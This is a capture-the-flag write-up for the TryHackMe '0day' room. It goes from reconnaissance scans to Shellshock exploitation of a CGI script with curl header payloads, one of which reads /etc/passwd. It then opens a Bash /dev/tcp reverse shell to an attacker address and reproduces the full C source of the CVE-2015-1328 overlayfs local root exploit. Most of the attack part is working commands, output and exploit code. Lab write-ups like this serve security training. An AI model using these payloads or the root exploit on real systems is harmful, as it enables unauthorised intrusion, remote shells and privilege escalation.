0day CTF TryHackMe

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export IP=10.10.232.98

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nmap -vvv -p 22,80 -sC -sV -A -v -oN nmap/initial.nmap 10.10.232.98

# Nmap 7.91 scan initiated Tue Jul 27 15:12:41 2021 as: nmap -vvv -p 22,80 -sC -sV -A -v -oN nmap/initial.nmap 10.10.232.98
Nmap scan report for 10.10.232.98
Host is up, received syn-ack (0.14s latency).
Scanned at 2021-07-27 15:12:42 +04 for 12s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPcMQIfRe52VJuHcnjPyvMcVKYWsaPnADsmH+FR4OyR5lMSURXSzS15nxjcXEd3i9jk14amEDTZr1zsapV1Ke2Of/n6V5KYoB7p7w0HnFuMriUSWStmwRZCjkO/LQJkMgrlz1zVjrDEANm3fwjg0I7Ht1/gOeZYEtIl9DRqRzc1ZAAAAFQChwhLtInglVHlWwgAYbni33wUAfwAAAIAcFv6QZL7T2NzBsBuq0RtlFux0SAPYY2l+PwHZQMtRYko94NUv/XUaSN9dPrVKdbDk4ZeTHWO5H6P0t8LruN/18iPqvz0OKHQCgc50zE0pTDTS+GdO4kp3CBSumqsYc4nZsK+lyuUmeEPGKmcU6zlT03oARnYA6wozFZggJCUG4QAAAIBQKMkRtPhl3pXLhXzzlSJsbmwY6bNRTbJebGBx6VNSV3imwPXLR8VYEmw3O2Zpdei6qQlt6f2S3GaSSUBXe78h000/JdckRk6A73LFUxSYdXl1wCiz0TltSogHGYV9CxHDUHAvfIs5QwRAYVkmMe2H+HSBc3tKeHJEECNkqM2Qiw==
|   2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwY8CfRqdJ+C17QnSu2hTDhmFODmq1UTBu3ctj47tH/uBpRBCTvput1+++BhyvexQbNZ6zKL1MeDq0bVAGlWZrHdw73LCSA1e6GrGieXnbLbuRm3bfdBWc4CGPItmRHzw5dc2MwO492ps0B7vdxz3N38aUbbvcNOmNJjEWsS86E25LIvCqY3txD+Qrv8+W+Hqi9ysbeitb5MNwd/4iy21qwtagdi1DMjuo0dckzvcYqZCT7DaToBTT77Jlxj23mlbDAcSrb4uVCE538BGyiQ2wgXYhXpGKdtpnJEhSYISd7dqm6pnEkJXSwoDnSbUiMCT+ya7yhcNYW3SKYxUTQzIV
|   256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKF5YbiHxYqQ7XbHoh600yn8M69wYPnLVAb4lEASOGH6l7+irKU5qraViqgVR06I8kRznLAOw6bqO2EqB8EBx+E=
|   256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIItaO2Q/3nOu5T16taNBbx5NqcWNAbOkTZHD2TB1FcVg
80/tcp open  http    syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0day
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 27 15:12:54 2021 -- 1 IP address (1 host up) scanned in 13.26 seconds

Nothing unusual here. Let's move onto the website.

gobuster dir -t 64 -u $IP -w ~/wordlists/website/medium.txt -x .txt,.php -o gobuster/medium.log
nikto -h http://$IP | tee nikto.log

gobuster

/img                  (Status: 301) [Size: 309] [--> http://10.10.232.98/img/]
/cgi-bin              (Status: 301) [Size: 313] [--> http://10.10.232.98/cgi-bin/]
/uploads              (Status: 301) [Size: 313] [--> http://10.10.232.98/uploads/]
/admin                (Status: 301) [Size: 311] [--> http://10.10.232.98/admin/]
/css                  (Status: 301) [Size: 309] [--> http://10.10.232.98/css/]
/js                   (Status: 301) [Size: 308] [--> http://10.10.232.98/js/]
/backup               (Status: 301) [Size: 312] [--> http://10.10.232.98/backup/]
/robots.txt           (Status: 200) [Size: 38]
/secret               (Status: 301) [Size: 312] [--> http://10.10.232.98/secret/]

nikto

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.232.98
+ Target Hostname:    10.10.232.98
+ Target Port:        80
+ Start Time:         2021-07-27 15:22:45 (GMT4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0xbd1 0x5ae57bb9a1192
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'nikto-added-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.

secrets, robots.txt, backup, admin and uploads all seem to be initially interesting but unfortunately, they are not. The actual, exploitable directory is cgi-bin.

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Finding vulnerabilities

Doing some arbitary research, we can see there are multiple vulnerabilities related to cgi-bin, most importantly: RCE or Remote Code Execution.

I first verify this with nmap

nmap $IP -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test.cgi

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-27 15:27 +04
Nmap scan report for 10.10.232.98
Host is up (0.13s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
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|     Disclosure date: 2014-09-24
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://www.openwall.com/lists/oss-security/2014/09/24/10

Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds

Time to exploit shellshock

curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://$IP/cgi-bin/test.cgi

yields...nothing?

Lets try ping ourselves from the server instead and listen with tcpdump

curl -H 'User-Agent: () { :; }; /bin/bash -c "ping -t 4 <<IP>>"' http://$IP/cgi-bin/test.cgi | html2text

yields:

****** Internal Server Error ******
The server encountered an internal error or misconfiguration and was unable to
complete your request.
Please contact the server administrator at webmaster@localhost to inform them
of the time this error occurred, and the actions you performed just before this
error.
More information about this error may be available in the server error log.
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     Apache/2.4.7 (Ubuntu) Server at 10.10.232.98 Port 80

So we are exceuting commands or similar but we run into some error. Looking at our tcpdump listener, we not received any pings from the server.

Time for some more research...

Using the article linked above, we understand we are receiving those errors because we not properly supplying headers for the server to return back to us.

Lets remake our payload

curl http://$IP/cgi-bin/test.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
<<REDACTED>>:x:1000:1000:Ubuntu 14.04.1,,,:/home/<<REDACTED>>:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

And we now have RCE!

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Reverse shell

Lets modify our payload to create a reverse shell for us:

curl http://$IP/cgi-bin/test.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/bash -i >& /dev/tcp/10.9.5.34/9999 0>&1"

You might wonder why we are using the absolute path of bash instead of the relative - and its purely a choice of making sure that the server can fully understand our parameters.

And running that command with our netcat listener on standby... we have a reverse shell!

We can also grab the user flag from the <<REDACTED USER>> now.

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Priviledge Escalation

Uploading and running linpeas we immediately notice something out of place...

3.13.0-32-generic

This version of linux is vunerable to the overlaysfs local priviledge escalation.

Here's an explaination of how that works:

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

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CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
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*/

And the subsequent exploit we will use:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

WHen we try compile the code, we notice a strange error that gcc cannot find cc1. Doing some research indicates some sort of environment variable is misconfigured or that we should sudo apt install something of the like.

One somewhat obscured stackoverflow answer pointed to possible PATH misconfiguration. Googling a default Linux/Ubuntu path and exporting that enabled gcc to work correctly!

Run the newly compilied file, and viola! We now are root and can access the root flag!

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